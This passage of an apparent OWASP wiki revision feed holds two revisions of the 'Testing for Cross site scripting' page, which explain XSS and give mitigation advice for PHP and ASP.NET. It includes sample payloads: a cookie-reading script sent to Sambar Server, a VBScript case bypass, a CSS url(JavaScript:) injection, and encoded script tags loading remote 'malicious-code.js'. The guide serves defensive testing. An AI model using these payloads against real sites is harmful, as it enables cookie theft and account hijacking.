Online message boards, web logs, guestbooks, and user forums where messages can be permanently stored also facilitate Cross-Site Scripting attacks. In these cases, an attacker can post a message to the board with a link to a seemingly harmless site, which subtly encodes a script that attacks the user once they click the link. Attackers can use a wide-range of encoding techniques to hide or obfuscate the malicious script and, in some cases, can avoid explicit use of the &amp;lt;Script&amp;gt; tag. Typically, XSS attacks involve malicious JavaScript, but it can also involve any type of executable active content. Although the types of attacks vary in sophistication, there is a generally reliable method to detect XSS vulnerabilities.&lt;br /&gt;
Cross site scripting is used in many Phishing attacks.&lt;br /&gt;
&lt;br /&gt;
==Black Box testing and example==&lt;br /&gt;
&lt;br /&gt;
One way to test for XSS vulnerabilities is to verify whether an application or web server will respond to requests containing simple scripts with an HTTP response that could be executed by a browser. For example, Sambar Server (version 5.3) is a popular freeware web server with known XSS vulnerabilities. Sending the server a request such as the following generates a response from the server that will be executed by a web browser:&amp;lt;BR&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''/testcgi.exe?&amp;lt;SCRIPT&amp;gt;alert(“Cookie”+document.cookie)&amp;lt;/SCRIPT&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The script is executed by the browser because the application generates an error message containing the original script, and the browser interprets the response as an executable script originating from the server.&lt;br /&gt;
All web servers and web applications are potentially vulnerable to this type of misuse, and preventing such attacks is extremely difficult. Consider implementing the following recommendations if one or more XSS vulnerabilities have been detected in your application&lt;br /&gt;
&lt;br /&gt;
The following general recommendations can help mitigate the risk associated with Cross-Site Scripting vulnerabilities. This is a complex problem area so there is no one simple fix or solution:&lt;br /&gt;
* Ensure that your web application validates all forms, headers, cookie fields, hidden fields, and parameters, and converts scripts and script tags to a non-executable form.&lt;br /&gt;
* Ensure that any executables on your server do not return scripts in executable form when passed scripts as malformed command parameters.&lt;br /&gt;
* Consider converting JavaScript and HTML tags into alternate HTML encodings (such as “&amp;lt;” to “&amp;amp;lt;&amp;gt;.&lt;br /&gt;
* If your site runs online forums or message boards, disallow the use of HTML tags and Scripting in these areas.&lt;br /&gt;
* Keep up with the latest security vulnerabilities and bugs for all production applications and servers.&lt;br /&gt;
* Update your production servers with the latest XSS vulnerabilities by downloading current patches, and perform frequent security audits on all deployed applications.&lt;br /&gt;
The root cause of Cross-Site Scripting is a failure to filter hazardous characters from web application input and output. The two most critical programming practices you can institute to guard against Cross-Site Scripting are:&lt;br /&gt;
* Validate Input&lt;br /&gt;
* Encode output&lt;br /&gt;
Always filter data originating from outside your application by disallowing the use of special characters. Only display output to the browser that has been sufficiently encoded. When possible, avoid simple character filters and write routines that validate user input against a set of allowed, safe characters. Use regular expressions to confirm that data conforms to the allowed character set. This enhances application security and makes it harder to bypass input validation routines.&lt;br /&gt;
There are different tools you can use to validate and encode your data, depending upon your development environment. Your goal in remediating Cross-Site Scripting attacks is to filter and encode all potentially dangerous characters so that the application does not return data that the browser will interpret as executable.  Any unescaped or unecoded data that is returned to the browser is a potential security risk.&lt;br /&gt;
The following characters can be harmful and should be filtered whenever they appear in the application input or output. In output, you should translate these characters to their HTML equivalents before returning data to the browser.&amp;lt;BR&amp;gt;&lt;br /&gt;
'''&amp;gt;     &amp;lt;   (     )     [     ]     '     &amp;quot;     ;     :     /     |'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;PHP&amp;lt;/b&amp;gt;&lt;br /&gt;
The following PHP functions help mitigate Cross-Site Scripting Vulnerabilities:&lt;br /&gt;
* '''Strip_tags()''' removes HTML and PHP scripting tags from a string.&lt;br /&gt;
* '''Utf8_decode()''' converts UTF-8 encoding to single byte ASCII characters. Decoding Unicode input prior to filtering it can help you detect attacks that the attacker has obfuscated with Unicode encoding.&lt;br /&gt;
* '''Htmlspecialcharacters()''' turns characters such as '''&amp;amp;,&amp;gt;,&amp;lt;,”''' into their HTML equivalents. Converting special characters to HTML prevents them from being executed within browsers when outputted by an application.&lt;br /&gt;
* '''Strtr()''' filters any characters you specify. Make sure to filter  “; : ( )” characters so that attackers cannot craft strings that generate alerts. Many XSS attacks are possible without the use of HTML characters, so filtering and encoding parentheses mitigates these attacks.&amp;lt;BR&amp;gt;For example:&lt;br /&gt;
'''&amp;quot; style=&amp;quot;background:url(JavaScript:alert(Malicious Content));'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;ASP.NET&amp;lt;/b&amp;gt;&lt;br /&gt;
With ASP.NET, you can use the following functions to help prevent Cross-Site Scripting:&lt;br /&gt;
* Constrain input submitted via server controls by using ASP.NET validater controls, such as '''RegularExpressionValidator''', '''RangeValidator''', and '''System.Text.RegularExpression.Regex'''. Using these methods as server-side controls to limit data input to only allowable character sequences by validating input type, length, format, and character range.&lt;br /&gt;
* Use the '''HtmlUtility.HtmlEncode''' method to encode data if it originates from either a user or from a database. HtmlEncode replaces special characters with their HTML equivalents, thus preventing the output from being executable in the browser. Use HtmlUtility.UrlEncode when writing URLs that may have originated from user input or stored database information.&lt;br /&gt;
* Use the '''HttpOnly cookie''' option for added protection.&lt;br /&gt;
* As a best practice, you should use regular expressions to constrain input to known safe characters. Do not rely solely on ASP.NET validateRequest, but use it in addition to your other input validation and encoding mechanisms.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
When you know certain types of countermeasures have been applied to code, you may want to try some tactics like this:&lt;br /&gt;
&lt;br /&gt;
''Example 1:''&lt;br /&gt;
Since JavaScript is case sensitive, some people convert all characters to upper case, trying to render Cross Site Scripting useless. If this is the case, you may want to use VBScript.&lt;br /&gt;
&lt;br /&gt;
JavaScript: &amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;br /&gt;
VBScript: &amp;lt;script type=&amp;quot;text/vbscript&amp;quot;&amp;gt;alert(DOCUMENT.COOKIE)&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''Example 2:''&lt;br /&gt;
If they are filtering for the &amp;lt; or the open of &amp;lt;script or closing of script&amp;gt; you should try various methods of encoding:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;script src=http://www.owasp.org/malicious-code.js&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
%3cscript src=http://www.owasp.org/malicious-code.js%3e%3c/script%3e&lt;br /&gt;
&lt;br /&gt;
\x3cscript src=http://www.owasp.org/malicious-code.js\x3e\x3c/script\x3e&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Paul Lindner: &amp;quot;Preventing Cross-site Scripting Attacks&amp;quot; - http://www.perl.com/pub/a/2002/02/20/css.html&lt;br /&gt;
&lt;br /&gt;
* CERT: &amp;quot;CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests&amp;quot; - http://www.cert.org/advisories/CA-2000-02.html&lt;br /&gt;
&lt;br /&gt;
* RSnake: &amp;quot;XSS (Cross Site Scripting) Cheat Sheet&amp;quot; - http://ha.ckers.org/xss.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project&amp;lt;br&amp;gt;&lt;br /&gt;
** CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>TomRyan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_scripting&amp;diff=13657</id>
		<title>Testing for Cross site scripting</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Cross_site_scripting&amp;diff=13657"/>
				<updated>2006-11-24T19:01:59Z</updated>
		
		<summary type="html">&lt;p&gt;TomRyan: /* Brief Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Cross Site Scripting is one of the most common application level attacks. Many times people will look at a Cross Site Scripting (also known as XSS, CSS was avoided not to confuse people with Cascade Styling Sheets) attack and say WOW you made a JavaScript popup window, but how does this effect me?&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting vulnerabilities are essentially code injection attacks. These attacks can be carried out using HTML, JavaScript, VBScript, ActiveX, Flash and other client-side languages. These attacks also have the ability to gather data from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible. In some cases Cross Site Scripting vulnerabilities can even perform other functions such as scanning for other vulnerabilities and performing a Denial of Service on your web server.&lt;br /&gt;
&lt;br /&gt;
Furthermore, we will provide more detailed information about the three types of Cross Site Scripting vulnerabilities, DOM-Based, Stored and Reflected.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
Cross site scripting is an attack on the privacy of clients of a particular web site which can lead to a total breach of security when customer details are stolen or manipulated. Unlike most attacks, which involve two parties – the attacker, and the web site, or the attacker and the victim client, the CSS attack involves three parties – the attacker, a client and the web site. The goal of the CSS attack is to steal the client cookies, or any other sensitive information, which can authenticate the client to the web site. With the token of the legitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site –specifically, impersonate the user. - Identity theft!&lt;br /&gt;
&lt;br /&gt;
Online message boards, web logs, guestbooks, and user forums where messages can be permanently stored also facilitate Cross-Site Scripting attacks. In these cases, an attacker can post a message to the board with a link to a seemingly harmless site, which subtly encodes a script that attacks the user once they click the link. Attackers can use a wide-range of encoding techniques to hide or obfuscate the malicious script and, in some cases, can avoid explicit use of the &amp;lt;Script&amp;gt; tag. Typically, XSS attacks involve malicious JavaScript, but it can also involve any type of executable active content. Although the types of attacks vary in sophistication, there is a generally reliable method to detect XSS vulnerabilities.&lt;br /&gt;
Cross site scripting is used in many Phishing attacks.&lt;br /&gt;
&lt;br /&gt;
==Black Box testing and example==&lt;br /&gt;
&lt;br /&gt;
One way to test for XSS vulnerabilities is to verify whether an application or web server will respond to requests containing simple scripts with an HTTP response that could be executed by a browser. For example, Sambar Server (version 5.3) is a popular freeware web server with known XSS vulnerabilities. Sending the server a request such as the following generates a response from the server that will be executed by a web browser:&amp;lt;BR&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''/testcgi.exe?&amp;lt;SCRIPT&amp;gt;alert(“Cookie”+document.cookie)&amp;lt;/SCRIPT&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The script is executed by the browser because the application generates an error message containing the original script, and the browser interprets the response as an executable script originating from the server.&lt;br /&gt;
All web servers and web applications are potentially vulnerable to this type of misuse, and preventing such attacks is extremely difficult. Consider implementing the following recommendations if one or more XSS vulnerabilities have been detected in your application&lt;br /&gt;
&lt;br /&gt;
The following general recommendations can help mitigate the risk associated with Cross-Site Scripting vulnerabilities. This is a complex problem area so there is no one simple fix or solution:&lt;br /&gt;
* Ensure that your web application validates all forms, headers, cookie fields, hidden fields, and parameters, and converts scripts and script tags to a non-executable form.&lt;br /&gt;
* Ensure that any executables on your server do not return scripts in executable form when passed scripts as malformed command parameters.&lt;br /&gt;
* Consider converting JavaScript and HTML tags into alternate HTML encodings (such as “&amp;lt;” to “&amp;amp;lt;&amp;gt;.&lt;br /&gt;
* If your site runs online forums or message boards, disallow the use of HTML tags and Scripting in these areas.&lt;br /&gt;
* Keep up with the latest security vulnerabilities and bugs for all production applications and servers.&lt;br /&gt;
* Update your production servers with the latest XSS vulnerabilities by downloading current patches, and perform frequent security audits on all deployed applications.&lt;br /&gt;
The root cause of Cross-Site Scripting is a failure to filter hazardous characters from web application input and output. The two most critical programming practices you can institute to guard against Cross-Site Scripting are:&lt;br /&gt;
* Validate Input&lt;br /&gt;
* Encode output&lt;br /&gt;
Always filter data originating from outside your application by disallowing the use of special characters. Only display output to the browser that has been sufficiently encoded. When possible, avoid simple character filters and write routines that validate user input against a set of allowed, safe characters. Use regular expressions to confirm that data conforms to the allowed character set. This enhances application security and makes it harder to bypass input validation routines.&lt;br /&gt;
There are different tools you can use to validate and encode your data, depending upon your development environment. Your goal in remediating Cross-Site Scripting attacks is to filter and encode all potentially dangerous characters so that the application does not return data that the browser will interpret as executable.  Any unescaped or unecoded data that is returned to the browser is a potential security risk.&lt;br /&gt;
The following characters can be harmful and should be filtered whenever they appear in the application input or output. In output, you should translate these characters to their HTML equivalents before returning data to the browser.&amp;lt;BR&amp;gt;&lt;br /&gt;
'''&amp;gt;     &amp;lt;   (     )     [     ]     '     &amp;quot;     ;     :     /     |'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;PHP&amp;lt;/b&amp;gt;&lt;br /&gt;
The following PHP functions help mitigate Cross-Site Scripting Vulnerabilities:&lt;br /&gt;
* '''Strip_tags()''' removes HTML and PHP scripting tags from a string.&lt;br /&gt;
* '''Utf8_decode()''' converts UTF-8 encoding to single byte ASCII characters. Decoding Unicode input prior to filtering it can help you detect attacks that the attacker has obfuscated with Unicode encoding.&lt;br /&gt;
* '''Htmlspecialcharacters()''' turns characters such as '''&amp;amp;,&amp;gt;,&amp;lt;,”''' into their HTML equivalents. Converting special characters to HTML prevents them from being executed within browsers when outputted by an application.&lt;br /&gt;
* '''Strtr()''' filters any characters you specify. Make sure to filter  “; : ( )” characters so that attackers cannot craft strings that generate alerts. Many XSS attacks are possible without the use of HTML characters, so filtering and encoding parentheses mitigates these attacks.&amp;lt;BR&amp;gt;For example:&lt;br /&gt;
'''&amp;quot; style=&amp;quot;background:url(JavaScript:alert(Malicious Content));'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;ASP.NET&amp;lt;/b&amp;gt;&lt;br /&gt;
With ASP.NET, you can use the following functions to help prevent Cross-Site Scripting:&lt;br /&gt;
* Constrain input submitted via server controls by using ASP.NET validater controls, such as '''RegularExpressionValidator''', '''RangeValidator''', and '''System.Text.RegularExpression.Regex'''. Using these methods as server-side controls to limit data input to only allowable character sequences by validating input type, length, format, and character range.&lt;br /&gt;
* Use the '''HtmlUtility.HtmlEncode''' method to encode data if it originates from either a user or from a database. HtmlEncode replaces special characters with their HTML equivalents, thus preventing the output from being executable in the browser. Use HtmlUtility.UrlEncode when writing URLs that may have originated from user input or stored database information.&lt;br /&gt;
* Use the '''HttpOnly cookie''' option for added protection.&lt;br /&gt;
* As a best practice, you should use regular expressions to constrain input to known safe characters. Do not rely solely on ASP.NET validateRequest, but use it in addition to your other input validation and encoding mechanisms.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Paul Lindner: &amp;quot;Preventing Cross-site Scripting Attacks&amp;quot; - http://www.perl.com/pub/a/2002/02/20/css.html&lt;br /&gt;
&lt;br /&gt;
* CERT: &amp;quot;CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests&amp;quot; - http://www.cert.org/advisories/CA-2000-02.html&lt;br /&gt;
&lt;br /&gt;
* RSnake: &amp;quot;XSS (Cross Site Scripting) Cheat Sheet&amp;quot; - http://ha.ckers.org/xss.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project&amp;lt;br&amp;gt;&lt;br /&gt;
** CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>TomRyan</name></author>	</entry>

	</feed>